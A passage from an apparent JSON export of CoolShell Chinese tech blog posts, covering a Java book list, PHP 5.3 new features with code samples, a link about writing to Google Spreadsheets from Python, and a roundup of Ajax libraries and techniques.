Eckel的文字亲和力和小而直接的编程示例面前也会化解于无形。从Java的基础语法到最高级特性（深入的面向对象概念、多线程、自动项目构建、单元测试和调试等），本书都能逐步指导你轻松掌握。\n\n\n从本书获得的各项大奖以及来自世界各地的读者评论中，不难看出这是一本经典之作。本书的作者拥有多年教学经验，对C、C++以及Java语言都有独到、深入的见解，以通俗易懂及小而直接的示例解释了一个个晦涩抽象的概念。本书共22章，包括操作符、控制执行流程、访问权限控制、复用类、多态、接口、通过异常处理错误、字符串、泛型、数组、容器深入研究、Java I/O系统、枚举类型、并发以及图形化用户界面等内容。这些丰富的内容，包含了Java语言基础语法以及高级特性，适合各个层次的Java程序员阅读，同时也是高等院校讲授面向对象程序设计语言以及Java语言的绝佳教材和参考书。\n\n\n中文版链接：《[JAVA编程思想(第4版)](http://www.china-pub.com/34838)》  \n\n英文版链接：《[Thinking in Java (4th Edition)](http://www.amazon.com/Thinking-Java-4th-Bruce-Eckel/dp/0131872486/ref=sr_11_1/104-7541332-0393550?ie=UTF8&qid=1182221667&sr=11-1) 》\n\n\n \n\n\n**http://images.china-pub.com/ebook30001-35000/31157/zcover.jpg** **6)** **Better, faster, lighter Java** (*by Justin Gehtland, Bruce A. Tate*)\n\n\nJava的开发者正深陷于复杂性的泥沼中而无法自拔。我们的经验和能力正接近极限，程序员为了编写支持所选框架的程序所花的时间比解决真正问题的时间要多得多。我们不禁要问，有必要把Java搞得这么复杂吗?.\n\n\n答案是否定的。本书给你指引了一条出路。无论是维护应用程序，还是从头开始设计，你都能够超越成规，并大幅精简基本框架、开发过程和最终代码。你能重新掌握一度失控的J2EE应用程序。..\n\n\n在本书中，原作者Bruce A．Tate与Justin Gehtland将循序渐进、娓娓道来。首先，他们列出了五项基本法则。他们展示了如何构建简单、解耦的代码，并告诉你如何选择技术。他们还对两种被广泛运用的开源程序如何迎合这些概念进行了剖析。最后，作者还将利用这些基本概念构建一个简单但内涵丰富的应用程序来解决现实世界中所遇到的问题。\n\n\n中文版链接：《[轻快的JAVA](http://www.china-pub.com/31157)》  \n\n英文版链接：《[Better, Faster, Lighter Java](http://www.amazon.com/gp/product/0596006764/sr=1-1/qid=1154660697/ref=pd_bbs_1/103-0057155-0283849?ie=UTF8&s=books)  》\n\n\n**http://images.china-pub.com/ebook205001-210000/208978/zcover.jpg** **7)** **Core Java (vol. 1, 2)** (*by Cay S. Horstmann, Gary Cornell*)\n\n\n《Java核心技术》出版以来一直畅销不衰，深受读者青睐，每个新版本都尽可能快地跟上Java开发工具箱发展的步伐，而且每一版都重新改写了部分内容，以便适应Java的最新特性。本版也不例外，它反映了Java SE 6的新特性。全书共14章，包括Java基本的程序结构、对象与类、继承、接口与内部类、图形程序设计、事件处理、Swing用户界面组件、部署应用程序和Applet、异常日志断言和调试、泛型程序设计、集合以及多线程等内容。.\n\n\n全书对Java技术的阐述精确到位，叙述方式深入浅出，并包含大量示例，从而帮助读者充分理解Java语言以及Java类库的相关特性。\n\n\n中文版链接：《JAVA核心技术，[卷1](http://www.china-pub.com/208978)，[卷2](http://www.china-pub.com/508881)》  \n\n英文版链接：《[Core Java, Volume I–Fundamentals (8th Edition)](http://www.amazon.com/Core-Java-I-Fundamentals-8th-Sun/dp/0132354764/ref=sr_11_1?ie=UTF8&qid=1215592737&sr=11-1) ，[Core Java, Vol. 2: Advanced Features, 8th Edition](http://www.amazon.com/Core-Java-Vol-Advanced-Features/dp/0132354799/ref=sr_1_1?ie=UTF8&s=books&qid=1227751671&sr=1-1) 》\n\n\n**http://images.china-pub.com/ebook35001-40000/37364/zcover.jpg** **8） The Java Virtual Machine Specification** (*by Tim Linholm, Frank Yellin*)\n\n\n如果你需要了解Java虚拟机的byte code，或者是一些编译方面的东西，这本书绝对让你得偿所愿。其不但包含了机器码的规范说明，同时它也是Java编译器和运行环境的规格说明书。\n\n\n中文版链接：《无》  \n\n英文版链接：《[The Java Virtual Machine Specification (2nd Edition)](http://www.amazon.com/Java-Virtual-Machine-Specification-2nd/dp/0201432943/ref=sr_11_1?ie=UTF8&qid=1196140587&sr=11-1) 》\n\n\n**http://images.china-pub.com/ebook190001-195000/191946/zcover.jpg**\n\n\n **9）Robust Java: Exception Handling, Testing, and Debugging** (*by Stephen Stelting*)\n\n\n处理异常涉及开发、设计和体系结构等方面的知识。本书共分3个部分。  \n\n　　第Ⅰ部分介绍Java异常的产生机理和用法，介绍一些最佳实践，讲述各类异常处理使用的一般API和技术。  \n\n　　第Ⅱ部分阐述可测试性设计，介绍故障模式分析，讨论常见API的异常及起因，分析J2EE体系结构和分布式API的异常模式。  \n\n　　第Ⅲ部分讨论在软件开发周期执行异常和错误处理，分析软件体系结构、设计模式、测试和调试，列举成熟的设计模式，介绍处理策略对系统体系结构的影响，讲述如何构建健壮系统。\n\n\n中文版链接：《[ROBUST JAVA中文版–JAVA异常处理、测试与调试](http://www.china-pub.com/191946)》  \n\n英文版链接：《[Robust Java Exception Handling,Testing and Debugging](http://www.amazon.com/exec/obidos/ASIN/0131008528/qid%3D1126685892/sr%3D11-1/ref%3Dsr_11_1/103-8394699-5235834) 》\n\n\n10）[**Java Code Convention**](http://java.sun.com/docs/codeconv/CodeConventions.pdf) \n\n\n最后一本当然是Java编码规范，这是由Sun公司官方出品的。这也是每个程序员为了得供程序的易读性，可维护性需要知道的。\n\n\n<http://java.sun.com/docs/codeconv/CodeConventions.pdf>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [Java书籍Top 10](https://coolshell.cn/articles/14.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 PHP v5.3的新鲜玩意.md",
    "content": "---\nlayout: post\ntitle: PHP v5.3的新鲜玩意\ndate: 2009/3/2/ 5:40:50\nupdated: 2009/3/2/ 5:40:50\nstatus: publish\npublished: true\ntype: post\n---\n\nPHP v5.3马上就要release了，这里让我们看看他有一些什么样的新特性。\n\n\n**1）\\_callStatic() magic 方法**\n\n\n\n```\nclass Foo\n{\n    public static function __callStatic( $name, $args )\n    {\n        echo \"Called method $name statically\";\n    } \n\n    public function __call( $name, $args )\n    {\n        echo \"Called method $name\";\n    }\n}\n```\n\n\n\n```\nFoo::dog();       // outputs \"Called method dog statically\"\n$foo = new Foo;\n$foo-&gt;dog();      // outputs \"Called method dog\"\n```\n\n**2）`动态调用函数`**\n\n\n\n```\nclass Dog\n{\n    public function bark()\n    {\n        echo \"Woof!\";\n    }\n<span style=\"color: #333399;\">} \n\n$class = \"Dog\"\n$action = \"bark\";\n$x = new $class(); // instantiates the class \"Dog\"\n$x-&gt;$action();     // outputs \"Woof!\" </span>\n```\n\n**3) 标准****PHP****库（SPL）**\n\n\n加了了少数几个容器类，比如，栈（SplStack）和固定数组（SplFixedArray）\n\n\n\n```\n$stack = new SplStack(); \n\n// push a few new items on the stack\n$stack-&gt;push(\"a\");\n$stack-&gt;push(\"b\");\n$stack-&gt;push(\"c\"); \n\n// see how many items are on the stack\necho count($stack); // returns 3 \n\n// iterate over the items in the stack\nforeach ( $stack as $item )\n    echo \"[$item],\";\n// the above outputs: [c][/c]\n\n [/c],[b],[a]  // pop an item off the stack echo $stack-&gt;pop(); // returns \"c\"   // now see how many items are on the stack echo count($stack); // returns 2\n```\n\n**4) Closures 功能**\n\n\n关于Closures，这是一个把函数定义成变量的玩意。让我们看几个例子：\n\n\n示例一：\n\n\n\n```\n$string = \"Hello World!\";\n$closure = function() use ($string) { echo $string; };\n\n$closure();\n```\n\n**Output:**  \n\nHello World!  \n\n示例二 使用引用的变量\n\n\n\n```\n$x = 1\n$closure = function() use (&amp;$x) { ++$x; }\n\necho $x . \"\\\\n\";\n$closure();\necho $x . \"\\\\n\";\n$closure();\necho $x . \"\\\\n\";\n```\n\n**Output**:  \n\n1  \n\n2  \n\n3  \n\n示例三，返回值\n\n\n\n```\nfunction getAppender($baseString)\n{\n      return function($appendString) use ($baseString)\n  { return $baseString .$appendString; };\n}\n```\n\n示例四，Reflection\n\n\n\n```\nclass Counter\n{\n      private $x;\n\n      public function __construct()\n      {\n           $this-&gt;x = 0;\n      }\n\n      public function increment()\n      {\n           $this-&gt;x++;\n      }\n\n      public function currentValue()\n      {\n           echo $this-&gt;x . \"\\\\n\";\n      }\n}\n$class = new ReflectionClass(\"Counter\");\n$method = $class-&gt;getMethod(\"currentValue\");\n$closure = $method-&gt;getClosure()\n$closure();\n$class-&gt;increment();\n$closure();\n```\n\n**Output**:  \n\n0  \n\n1  \n\n示例五，Reflection API\n\n\n\n```\n$closure = function ($x, $y = 1) {};\n$m = new ReflectionMethod($closure);\nReflection::export ($m);\n<strong>Output</strong>:\nMethod [  public method __invoke ] {\n  - Parameters [2] {\n    Parameter #0 [  $x ]\n    Parameter #1 [  $y ]\n  }\n}\n```\n\n示例六，Uses Case\n\n\n\n```\n$logdb = function ($string) { Logger::log(\"debug\",\"database\",$string);};\n$db = mysqli_connect(\"server\",\"user\",\"pass\");\n$logdb(\"Connected to database\");\n$db-&gt;query(\"insert into parts (part, description) values\n (\"Hammer\",\"Pounds nails\");\n$logdb(\"Insert Hammer into to parts table\");\n$db-&gt;query(\"insert into parts (part, description) values\n       (\"Drill\",\"Puts holes in wood\");\n$logdb(\"Insert Drill into to parts table\");\n$db-&gt;query(\"insert into parts (part, description) values\n (\"Saw\",\"Cuts wood\");\n$logdb(\"Insert Saw into to parts table\");\n```\n\n更为详细的文章，请参考这里，[链接](http://www.ibm.com/developerworks/opensource/library/os-php-5.3new2/index.html)。\n\n\n**5) 使用namespace**\n\n\n新版的PHP会开始支持C++式的namespace，请参看示例：\n\n\n示例一\n\n\n\n```\n/* Foo.php */\n&lt;?php\nnamespace Foo;\nfunction bar()\n{\n    echo \"calling bar....\";\n}\n?&gt; \n\n/* File1.php */\n&lt;?php\ninclude \"./Foo.php\";\nFoo/bar(); // outputs \"calling bar....\";\n?&gt; \n\n/* File2.php */\n&lt;?php\ninclude \"./Foo.php\";\nuse Foo as ns;\nns/bar(); // outputs \"calling bar....\";\n?&gt; \n\n/* File3.php */\n&lt;?php\ninclude \"./Foo.php\";\nuse Foo;\nbar(); // outputs \"calling bar....\";\n?&gt;\n<!--p include \"./Foo.php\"; use Foo; bar(); // outputs \"calling bar....\";-->\n```\n\n示例二，多重namespace\n\n\n\n```\n<!--p namespace Foo; class Test {}  namespace Bar; class Test {}  $a = new Foo\\\\Test; $b = new Bar\\\\Test;  var_dump($a, $b);--> &lt;?php\nnamespace Foo;\nclass Test {} \n\nnamespace Bar;\nclass Test {} \n\n$a = new Foo\\\\Test;\n$b = new Bar\\\\Test; \n\nvar_dump($a, $b); \n\nOutput:\nobject(Foo\\\\Test)#1 (0) {\n}\nobject(Bar\\\\Test)#2 (0) {\n}\n<strong>Output:</strong>\nobject(Foo\\\\Test)#1 (0) { }\nobject(Bar\\\\Test)#2 (0) { }\n```\n\n示例三，不同文件中的namespace\n\n\n\n```\n/*定义*/\n/* global.php */\n&lt;?php\nfunction hello()\n{\n    echo \"hello from the global scope!\";\n}\n?&gt; \n\n/* Foo.php */\n&lt;?php\nnamespace Foo;\nfunction hello()\n{\n    echo \"hello from the Foo namespace!\";\n}\n?&gt; \n\n/* Foo_Bar.php */\n&lt;?php\nnamespace Foo/Bar;\nfunction hello()\n{\n    echo \"hello from the Foo/Bar namespace!\";\n}\n?&gt;\n<!--p namespace Foo/Bar; function hello() {     echo \"hello from the Foo/Bar namespace!\"; }-->\n\n/*使用 */\n<!--p include \"./global.php\"; include \"./Foo.php\"; include \"./Foo_Bar.php\"; use Foo;  hello();         // outputs \"hello from the Foo namespace!\" Bar\\\\hello();   // outputs \"hello from the Foo/Bar namespace!\" \\\\hello();       // outputs \"hello from the global scope!\"-->&lt;?php\ninclude \"./global.php\";\ninclude \"./Foo.php\";\ninclude \"./Foo_Bar.php\";\n\nuse Foo; \n\nhello();         // outputs \"hello from the Foo namespace!\"\nBar\\\\hello();   // outputs \"hello from the Foo/Bar namespace!\"\n\\\\hello();       // outputs \"hello from the global scope!\"\n?&gt;\n```\n\n更为详细的文章，请参考这里，[链接](http://www.ibm.com/developerworks/opensource/library/os-php-5.3new3/index.html)。\n\n\n**6)开始支持Achieve包**\n\n\n正像JAR一样，PHP也要开始支持自己的Achieve包了，叫作，Phar。PHP提供了一整套函数来帮助开发人员创建和使用Phar，正如下面的示例所示：\n\n\n**创建**：\n\n\n\n```\n$p = new Phar(\"/path/to/my.phar\",\n CURRENT_AS_FILEINFO | KEY_AS_FILENAME, \"my.phar\");\n$p-&gt;startBuffering();\n```\n\n**创建文件存根**（stub）\n\n\n`$p-&gt;setStub(\"<!--p Phar::mapPhar(); include \"phar://myphar.phar/index.php\"; __HALT_COMPILER();-->\");`\n\n\n**加入文件**：\n\n\n\n```\n$p[\"file.txt\"] = \"This is a text file\";\n$p[\"index.php\"] = file_get_contents(\"index.php\");\n$p[\"big.txt\"] = \"This is a big text file\";\n$p[\"big.txt\"]-&gt;setCompressedBZIP2();\n//加入某目录下所有的文件\n$p-&gt;buildFromDirectory(\"/path/to/files\",\"./\\\\.php$/\");\n```\n\n**使用Phar**\n\n\n\n```\ninclude \"myphar.phar\";\ninclude \"phar://myphar.phar/file.php\";\n```\n\n更为详细的文章，请参考这里，[链接](http://www.ibm.com/developerworks/opensource/library/os-php-5.3new4/index.html)。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![PHP分页技术的代码和示例](../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg)](https://coolshell.cn/articles/5160.html)[PHP分页技术的代码和示例](https://coolshell.cn/articles/5160.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2394.html)[九个PHP很有用的功能](https://coolshell.cn/articles/2394.html)\nThe post [PHP v5.3的新鲜玩意](https://coolshell.cn/articles/11.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 【引文】如何用Python往Google Spreadsheet上写数据.md",
    "content": "---\nlayout: post\ntitle: 【引文】如何用Python往Google Spreadsheet上写数据\ndate: 2009/3/2/ 8:3:3\nupdated: 2009/3/2/ 8:3:3\nstatus: publish\npublished: true\ntype: post\n---\n\n现代企业里，数据决定着方向，人们都想随时看到各种报表。很多项目可能都需要dashboard一类的工作，把分散的数据变成一些能随时查看实时数据的图表，这个工作有两个环节：\n\n\n1. 把数据汇集起来，放入CSV或者数据库\n2. 一个服务器端的程序能够读到这写数据，根据需要生成在线的图表 （离线的也可以，那样每次人们想看这些图的时候都会来麻烦你，如果你在度假，他们会想敲开你的电脑）\n\n\n\n第一步可以通过定期跑些脚本完成，但是第二步有时候就不太容易了，如果你希望你的图表能够让所有人方便随时查看，最方便的给出一个URL能让人随时访问，Google的在线文档可以提供一个简单的解决方案。 \n\n\n但是，如何将数据自动弄到在Google spreadsheet 上呢？手动的copy/paste是一个方法，但是很费人工，最简单的方法就是写个脚本把这个流程自动化。如何将数据写进Spreadsheet (在线表单)呢？请参考下文：\n\n\n[Write to a Google Spreadsheet from a Python script](http://www.mattcutts.com/blog/write-google-spreadsheet-from-python/ \"Permanent link to Write to a Google Spreadsheet from a Python script\")\n\n\n注：这是个搜索方面比较大拿的Googler的博客。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\nThe post [【引文】如何用Python往Google Spreadsheet上写数据](https://coolshell.cn/articles/37.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 你应该知道的20个Ajax技术(01-10).md",
    "content": "---\nlayout: post\ntitle: 你应该知道的20个Ajax技术(01-10)\ndate: 2009/3/2/ 5:34:46\nupdated: 2009/3/2/ 5:34:46\nstatus: publish\npublished: true\ntype: post\n---\n\n**1) TextboxList自动完成 （**[**源码**](http://devthought.com/textboxlist-meets-autocompletion/)**，**[**演示**](http://devthought.com/wp-content/articles/autocompletelist/test.html)**）**\n\n\n这个控件主要来自Facebook吧，在网易的邮件里也能看到，还有hotmail等等，在文本框里输入文本不但可以出现相关数据的列表，而且选中后的字符串还会变成一个小图标。这个控件主要用在电子邮件中吧。  \n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/1.png\n\n\n\n**2) Ajax IM即时聊天 （**[**源码**](http://www.ajaxim.com/)**，**[**演示**](http://www.ajaxim.net/)**）**\n\n\nAjax IM是一个很牛的即时聊天的客户端，你可以使用它制作一个Web-Based的即时聊天工具，这是一个非常强大的Ajax技术。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/2.jpg\n\n\n**3）即时校验用户的输入（**[**源码**](http://www.livevalidation.com/download)**，**[**演示**](http://www.livevalidation.com/examples)**）**\n\n\n以前，检验WEB表单的输入需要放在后台，因此，用户需要提交表单数据到后台才能知道是否所填写的内容有误。Ajax把实时检测表单输入域变成了现实，如今，我们在网上已经能看到很多很多的这样的应用，比如在你注册一个用户输入一个用户名的时候，不用提交整个表单到后台，你就能知道用户名是否已被人使用。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/3.png\n\n\n**4）即时编辑器（**[**源码**](http://www.ideasfreelance.com/lab/instant_edit/remote_cont.js)**，**[**演示**](http://www.ideasfreelance.com/lab/instant_edit/)**）**\n\n\n所谓即时编辑器就是双击一下网页上的文本，于是你就要吧编辑它了，编辑完后再单击一下别的地方，编辑过的内容就会被提交到后台保存。在这里，给出的示例是一个非常小巧的即时编辑器—— [inline editor](http://www.ideasfreelance.com/lab/instant_edit/)\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/4.png\n\n\n**5）Ajax 式文件上传**\n\n\n使用Ajax上传文件会让用户得到非常好的用户体验，上网随例搜索一下，有太多太多的各式各样的文件上传的Ajax源码可以使用。然而，在coderproject网站有，你可以下载到一款非常小又非常好的Ajax程序，网址如下：<http://www.codeproject.com/KB/aspnet/AJAXUpload.aspx>。\n\n\n当然，如果你要一次上传多个文件，那个这个小程序还不足以满足你。不过，你可以使用JQuery的[JQUploader](http://plugins.jquery.com/project/jquploader)。\n\n\n**6）Fancy Upload （**[**源码**](http://digitarald.de/project/fancyupload/)**，**[**演示**](http://digitarald.de/project/fancyupload/2-0/showcase/photoqueue/)**）**\n\n\n更为迷人的文件上传程序，你可以试试Fancy Upload，它通非常优秀的Javascript框架MooTools(<http://mootools.net/>)构造。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/6.png\n\n\n **7）点击记录ClickHeat （**[**源码**](http://sourceforge.net/project/showfiles.php?group_id=181196)**，**[**演示**](http://www.labsmedia.com/clickheat/index.html#)**）**\n\n\nClickHeat是一个非常简单而非常强大的Ajax技术，它可以记录下访问者们对你网站的点击坐标，以便于你分析你网站的访问者的习惯和他们的关注点。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/7.jpg\n\n\n**8）Ajax电子邮件表单 （**[**源码**](http://ninjadesigns.co.uk/enter/mailist.zip)**，**[**演示**](http://ninjadesigns.co.uk/demo/mailist/index.php)**）**\n\n\n这里主要推荐一款叫Maillist的Ajax程序，这是用来校验并提交电子邮件的地址的（不需要刷新页面），这样的设计极大地方便了用户的使用邮件订阅某些更新。我们想想看，这样的用户体现绝对会让你网站的用户特别愿意提交他们的电子邮件。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/8.png\n\n\n**9) Ajax目录管理器 （**[**源码**](http://ecosmear.com/relay/download.php)**，**[**演示**](http://ecosmear.com/relay/demo/)**）**\n\n\n 使用Ajax做一个在线的WEB的目录浏览器是非常酷的事情，如果没有Ajax，这样的用户体验除上让用户装一个ActiveX控件，我们几乎无法在Web上实现。在这里，我们推荐Relay这个框架，它基本上有这样一些功能，a)支持文件拖拉，b)动态地载入文件目录列表， c)还有上传的进度条，d)支持多用户帐号。还有很多很多。Relay绝对实现了你所能想得到的功能。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/9.jpg\n\n\n**10）Ajax邮件客户端**\n\n\n目前，太多太多的邮件系统越来越多的使用Ajax技术。在用户体验方面，Gmail和网易邮箱最好。Hotmail的界面和outlook很相似了，可惜的是hotmail的运行速度感觉就像一辆后面拖着大石头的跑车。如果你想要开发一个Ajax的邮件客户端，那么，你一定要读一下下面的这篇文章：\n\n\n<http://www.devarticles.com/c/a/XML/Take-AJAX-to-Your-Email-Inbox-Developing-a-Webbased-POP-3-Client/>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2593.html)[Web版的VNC](https://coolshell.cn/articles/2593.html)\n* [![Ajax开发利器UIzard ](../wp-content/uploads/2009/10/uizard2-150x150.jpg)](https://coolshell.cn/articles/1611.html)[Ajax开发利器UIzard](https://coolshell.cn/articles/1611.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/909.html)[7个免费强大的Ajax文件管理器](https://coolshell.cn/articles/909.html)\nThe post [你应该知道的20个Ajax技术(01-10)](https://coolshell.cn/articles/7.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-2 你应该知道的20个Ajax技术(11-20).md",
    "content": "---\nlayout: post\ntitle: 你应该知道的20个Ajax技术(11-20)\ndate: 2009/3/2/ 5:36:0\nupdated: 2009/3/2/ 5:36:0\nstatus: publish\npublished: true\ntype: post\n---\n\n**11) 表单字段帮助信息的自动提示**\n\n\n增强WEB表单的Usability有很多很多的方法，在网上一搜一大片，然后有些时候，用户会被表单搞得很混乱，而且，不同的用户会对表单有不同的理解，其输入也是千奇百怪。所以，为表单字段增加一下自动帮助信息的提示绝对是非常不错的选择。这点在淘宝网上表现得比较出现。下面是一个非常简单短小的教程。\n\n\n<http://woork.blogspot.com/2008/04/improve-form-usability-with-auto.html>\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/10.png\n\n\n \n\n\n**12) qGallery (**[**演示**](http://qgallery.quadrifolia.de/)**)**\n\n\n虽然这不是一个有丰富功能的图库应用，但这绝对是一个非常优秀的Ajax应用。它基于Prototype Javascript框架（<http://prototypejs.org/>）制作，它对图片集的处理是非常优秀的。而且是它在节省网络带宽方面也很出色。本文写作之时，他目前还在开发阶段，还没有开放给大家下载。不过再等几个星期也就差不多该Release了。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/11.jpg\n\n\n \n\n\n**13）Ajax 星式打分（**[**源码**](http://www.masugadesign.com/download.php?ajaxstarrater_v122.zip)**，**[**演示**](http://www.masugadesign.com/the-lab/scripts/unobtrusive-ajax-star-rating-bar/)**）**\n\n\n人们总是想给他们身连的事物表达他们的喜恶，所以有一个星式打分控件绝对能满足他们的欲望。一个非常简单的Ajax脚本可以从下面的链接找到：<http://www.masugadesign.com/the-lab/scripts/unobtrusive-ajax-star-rating-bar/>\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/12.jpg\n\n\n \n\n\n**14）CakePHP Ajax表单**\n\n\n如果你是 [Django](http://nettuts.com/web-roundups/10-insanely-useful-django-tips/) 或 [CakePHP](http://www.cakephp.org/)的使用者，那么你应该要感谢CakeBaker 的这个教程——《how to [submit a form with Ajax](http://cakebaker.42dh.com/2006/01/18/submit-a-form-with-ajax/)》，而它最强大的功能在于，如果我们的浏览器disable了Javascript，表单照样能够正常提交。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/13.jpg\n\n\n \n\n\n**15）Amberjack 站点导航（**[**源码**](http://amberjack.org/src/stable/)**，**[**演示**](http://amberjack.org/?tourId=AJTour)**）**\n\n\n在Web开发，[Amberjack](http://www.amberjack.org/)绝对令人过目难忘的Javascript库，它能够帮助你快速地创建站点导航。Amberjack 最优秀的地方是，这个javascript库只有4K大小，但却有令人难以置信的简易。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/14.jpg \n\n\n \n\n\n**16）Prototype UI（**[**源码**](http://www.prototype-ui.com/download)**，**[**演示**](http://www.prototype-ui.com/)**）**\n\n\nPrototype UI基于[Prototype](http://www.prototypejs.org/) 和[Scriptaculous](http://script.aculo.us/)开发而成，它主要提供一堆图形界面的控件，本质上来说，他是一个用户接口类库，这个类库目前还持续增加中。而且所有的控件都可以很方便地定制。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/15.jpg\n\n\n \n\n\n**17）JCrop （**[**源码**](http://deepliquid.com/content/Jcrop_Download.html)**，**[**演示**](http://deepliquid.com/content/Jcrop_Examples.html)**）**\n\n\n在线的图片编辑显然是一个很棘手的事，那怕你使用photoshop，你也会觉得很难使用。当然，对于更多人，我们并不需要使用太多太复杂的图片编辑功能，如果有你上传图片的时候有这么一个功能可以让你剪裁你的图片，那么将会是一件很方便的事情。JCrop是一个[jQuery](http://www.jquery.com/) 的插件，它允许你上传图片，并提供了非常多丰富的图片剪裁功能。很有前途。\n\n\nhttp://nettuts.s3.amazonaws.com/090_20ajax/16.jpg\n\n\n \n\n\n**18）JQuery Auto-tabbing 